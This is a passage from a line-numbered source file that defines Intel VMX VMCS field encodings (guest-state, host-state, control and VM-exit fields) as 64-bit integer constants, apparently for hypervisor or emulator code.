736 | HOST_GS_SELECTOR: i64(0x00000c0a), 737 | HOST_TR_SELECTOR: i64(0x00000c0c), 738 | IO_BITMAP_A: i64(0x00002000), 739 | IO_BITMAP_A_HIGH: i64(0x00002001), 740 | IO_BITMAP_B: i64(0x00002002), 741 | IO_BITMAP_B_HIGH: i64(0x00002003), 742 | MSR_BITMAP: i64(0x00002004), 743 | MSR_BITMAP_HIGH: i64(0x00002005), 744 | VM_EXIT_MSR_STORE_ADDR: i64(0x00002006), 745 | VM_EXIT_MSR_STORE_ADDR_HIGH: i64(0x00002007), 746 | VM_EXIT_MSR_LOAD_ADDR: i64(0x00002008), 747 | VM_EXIT_MSR_LOAD_ADDR_HIGH: i64(0x00002009), 748 | VM_ENTRY_MSR_LOAD_ADDR: i64(0x0000200a), 749 | VM_ENTRY_MSR_LOAD_ADDR_HIGH: i64(0x0000200b), 750 | PML_ADDRESS: i64(0x0000200e), 751 | PML_ADDRESS_HIGH: i64(0x0000200f), 752 | TSC_OFFSET: i64(0x00002010), 753 | TSC_OFFSET_HIGH: i64(0x00002011), 754 | VIRTUAL_APIC_PAGE_ADDR: i64(0x00002012), 755 | VIRTUAL_APIC_PAGE_ADDR_HIGH: i64(0x00002013), 756 | APIC_ACCESS_ADDR: i64(0x00002014), 757 | APIC_ACCESS_ADDR_HIGH: i64(0x00002015), 758 | POSTED_INTR_DESC_ADDR: i64(0x00002016), 759 | POSTED_INTR_DESC_ADDR_HIGH: i64(0x00002017), 760 | VM_FUNCTION_CONTROL: i64(0x00002018), 761 | VM_FUNCTION_CONTROL_HIGH: i64(0x00002019), 762 | EPT_POINTER: i64(0x0000201a), 763 | EPT_POINTER_HIGH: i64(0x0000201b), 764 | EOI_EXIT_BITMAP0: i64(0x0000201c), 765 | EOI_EXIT_BITMAP0_HIGH: i64(0x0000201d), 766 | EOI_EXIT_BITMAP1: i64(0x0000201e), 767 | EOI_EXIT_BITMAP1_HIGH: i64(0x0000201f), 768 | EOI_EXIT_BITMAP2: i64(0x00002020), 769 | EOI_EXIT_BITMAP2_HIGH: i64(0x00002021), 770 | EOI_EXIT_BITMAP3: i64(0x00002022), 771 | EOI_EXIT_BITMAP3_HIGH: i64(0x00002023), 772 | EPTP_LIST_ADDRESS: i64(0x00002024), 773 | EPTP_LIST_ADDRESS_HIGH: i64(0x00002025), 774 | VMREAD_BITMAP: i64(0x00002026), 775 | VMREAD_BITMAP_HIGH: i64(0x00002027), 776 | VMWRITE_BITMAP: i64(0x00002028), 777 | VMWRITE_BITMAP_HIGH: i64(0x00002029), 778 | XSS_EXIT_BITMAP: i64(0x0000202C), 779 | XSS_EXIT_BITMAP_HIGH: i64(0x0000202D), 780 | ENCLS_EXITING_BITMAP: i64(0x0000202E), 781 | ENCLS_EXITING_BITMAP_HIGH: i64(0x0000202F), 782 | TSC_MULTIPLIER: i64(0x00002032), 783 | TSC_MULTIPLIER_HIGH: i64(0x00002033), 784 | GUEST_PHYSICAL_ADDRESS: i64(0x00002400), 785 | GUEST_PHYSICAL_ADDRESS_HIGH: i64(0x00002401), 786 | VMCS_LINK_POINTER: i64(0x00002800), 787 | VMCS_LINK_POINTER_HIGH: i64(0x00002801), 788 | GUEST_IA32_DEBUGCTL: i64(0x00002802), 789 | GUEST_IA32_DEBUGCTL_HIGH: i64(0x00002803), 790 | GUEST_IA32_PAT: i64(0x00002804), 791 | GUEST_IA32_PAT_HIGH: i64(0x00002805), 792 | GUEST_IA32_EFER: i64(0x00002806), 793 | GUEST_IA32_EFER_HIGH: i64(0x00002807), 794 | GUEST_IA32_PERF_GLOBAL_CTRL: i64(0x00002808), 795 | GUEST_IA32_PERF_GLOBAL_CTRL_HIGH: i64(0x00002809), 796 | GUEST_PDPTR0: i64(0x0000280a), 797 | GUEST_PDPTR0_HIGH: i64(0x0000280b), 798 | GUEST_PDPTR1: i64(0x0000280c), 799 | GUEST_PDPTR1_HIGH: i64(0x0000280d), 800 | GUEST_PDPTR2: i64(0x0000280e), 801 | GUEST_PDPTR2_HIGH: i64(0x0000280f), 802 | GUEST_PDPTR3: i64(0x00002810), 803 | GUEST_PDPTR3_HIGH: i64(0x00002811), 804 | GUEST_BNDCFGS: i64(0x00002812), 805 | GUEST_BNDCFGS_HIGH: i64(0x00002813), 806 | GUEST_IA32_RTIT_CTL: i64(0x00002814), 807 | GUEST_IA32_RTIT_CTL_HIGH: i64(0x00002815), 808 | HOST_IA32_PAT: i64(0x00002c00), 809 | HOST_IA32_PAT_HIGH: i64(0x00002c01), 810 | HOST_IA32_EFER: i64(0x00002c02), 811 | HOST_IA32_EFER_HIGH: i64(0x00002c03), 812 | HOST_IA32_PERF_GLOBAL_CTRL: i64(0x00002c04), 813 | HOST_IA32_PERF_GLOBAL_CTRL_HIGH: i64(0x00002c05), 814 | PIN_BASED_VM_EXEC_CONTROL: i64(0x00004000), 815 | CPU_BASED_VM_EXEC_CONTROL: i64(0x00004002), 816 | EXCEPTION_BITMAP: i64(0x00004004), 817 | PAGE_FAULT_ERROR_CODE_MASK: i64(0x00004006), 818 | PAGE_FAULT_ERROR_CODE_MATCH: i64(0x00004008), 819 | CR3_TARGET_COUNT: i64(0x0000400a), 820 | VM_EXIT_CONTROLS: i64(0x0000400c), 821 | VM_EXIT_MSR_STORE_COUNT: i64(0x0000400e), 822 | VM_EXIT_MSR_LOAD_COUNT: i64(0x00004010), 823 | VM_ENTRY_CONTROLS: i64(0x00004012), 824 | VM_ENTRY_MSR_LOAD_COUNT: i64(0x00004014), 825 | VM_ENTRY_INTR_INFO_FIELD: i64(0x00004016), 826 | VM_ENTRY_EXCEPTION_ERROR_CODE: i64(0x00004018), 827 | VM_ENTRY_INSTRUCTION_LEN: i64(0x0000401a), 828 | TPR_THRESHOLD: i64(0x0000401c), 829 | SECONDARY_VM_EXEC_CONTROL: i64(0x0000401e), 830 | PLE_GAP: i64(0x00004020), 831 | PLE_WINDOW: i64(0x00004022), 832 | VM_INSTRUCTION_ERROR: i64(0x00004400), 833 | VM_EXIT_REASON: i64(0x00004402), 834 | VM_EXIT_INTR_INFO: i64(0x00004404), 835 | VM_EXIT_INTR_ERROR_CODE: i64(0x00004406), 836 | IDT_VECTORING_INFO_FIELD: i64(0x00004408), 837 | IDT_VECTORING_ERROR_CODE: i64(0x0000440a), 838 | VM_EXIT_INSTRUCTION_LEN: i64(0x0000440c), 839 | VMX_INSTRUCTION_INFO: i64(0x0000440e), 840 | GUEST_ES_LIMIT: i64(0x00004800), 841 | GUEST_CS_LIMIT: i64(0x00004802), 842 | GUEST_SS_LIMIT: i64(0x00004804), 843 | GUEST_DS_LIMIT: i64(0x00004806), 844 | GUEST_FS_LIMIT: i64(0x00004808), 845 | GUEST_GS_LIMIT: i64(0x0000480a), 846 | GUEST_LDTR_LIMIT: i64(0x0000480c), 847 | GUEST_TR_LIMIT: i64(0x0000480e), 848 | GUEST_GDTR_LIMIT: i64(0x00004810), 849 | GUEST_IDTR_LIMIT: i64(0x00004812), 850 | GUEST_ES_AR_BYTES: i64(0x00004814), 851 | GUEST_CS_AR_BYTES: i64(0x00004816), 852 | GUEST_SS_AR_BYTES: i64(0x00004818), 853 | GUEST_DS_AR_BYTES: i64(0x0000481a), 854 | GUEST_FS_AR_BYTES: i64(0x0000481c), 855 | GUEST_GS_AR_BYTES: i64(0x0000481e), 856 | GUEST_LDTR_AR_BYTES: i64(0x00004820), 857 | GUEST_TR_AR_BYTES: i64(0x00004822), 858 | GUEST_INTERRUPTIBILITY_INFO: i64(0x00004824), 859 | GUEST_ACTIVITY_STATE: i64(0x00004826), 860 | GUEST_SYSENTER_CS: i64(0x0000482A), 861 | VMX_PREEMPTION_TIMER_VALUE: i64(0x0000482E), 862 | HOST_IA32_SYSENTER_CS: i64(0x00004c00), 863 | CR0_GUEST_HOST_MASK: i64(0x00006000), 864 | CR4_GUEST_HOST_MASK: i64(0x00006002), 865 | CR0_READ_SHADOW: i64(0x00006004), 866 | CR4_READ_SHADOW: i64(0x00006006), 867 | CR3_TARGET_VALUE0: i64(0x00006008), 868 | CR3_TARGET_VALUE1: i64(0x0000600a), 869 | CR3_TARGET_VALUE2: i64(0x0000600c), 870 | CR3_TARGET_VALUE3: i64(0x0000600e), 871 | EXIT_QUALIFICATION: i64(0x00006400), 872 | GUEST_LINEAR_ADDRESS: i64(0x0000640a), 873 | GUEST_CR0: i64(0x00006800), 874 | GUEST_CR3: i64(0x00006802), 875 | GUEST_CR4: i64(0x00006804), 876 | GUEST_ES_BASE: i64(0x00006806), 877 | GUEST_CS_BASE: i64(0x00006808), 878 | GUEST_SS_BASE: i64(0x0000680a), 879 | GUEST_DS_BASE: i64(0x0000680c), 880 | GUEST_FS_BASE: i64(0x0000680e), 881 | GUEST_GS_BASE: i64(0x00006810), 882 | GUEST_LDTR_BASE: i64(0x00006812), 883 | GUEST_TR_BASE: i64(0x00006814), 884 | GUEST_GDTR_BASE: i64(0x00006816), 885 | GUEST_IDTR_BASE: i64(0x00006818), 886 | GUEST_DR7: i64(0x0000681a), 887 | GUEST_RSP: i64(0x0000681c), 888 | GUEST_RIP: i64(0x0000681e), 889 | GUEST_RFLAGS: i64(0x00006820), 890 | GUEST_PENDING_DBG_EXCEPTIONS: i64(0x00006822), 891 | GUEST_SYSENTER_ESP: i64(0x00006824), 892 | GUEST_SYSENTER_EIP: i64(0x00006826), 893 | HOST_CR0: i64(0x00006c00), 894 | HOST_CR3: i64(0x00006c02), 895 | HOST_CR4: i64(0x00006c04), 896 | HOST_FS_BASE: i64(0x00006c06), 897 | HOST_GS_BASE: i64(0x00006c08), 898 | HOST_TR_BASE: i64(0x00006c0a), 899 | HOST_GDTR_BASE: i64(0x00006c0c), 900 | HOST_IDTR_BASE: i64(0x00006c0e), 901 | HOST_IA32_SYSENTER_ESP: i64(0x00006c10), 902 | HOST_IA32_SYSENTER_EIP: i64(0x00006c12), 903 | HOST_RSP: i64(0x00006c14), 904 | HOST_RIP: i64(0x00006c16), 905 | }; 906 | --------------------------------------------------------------------------------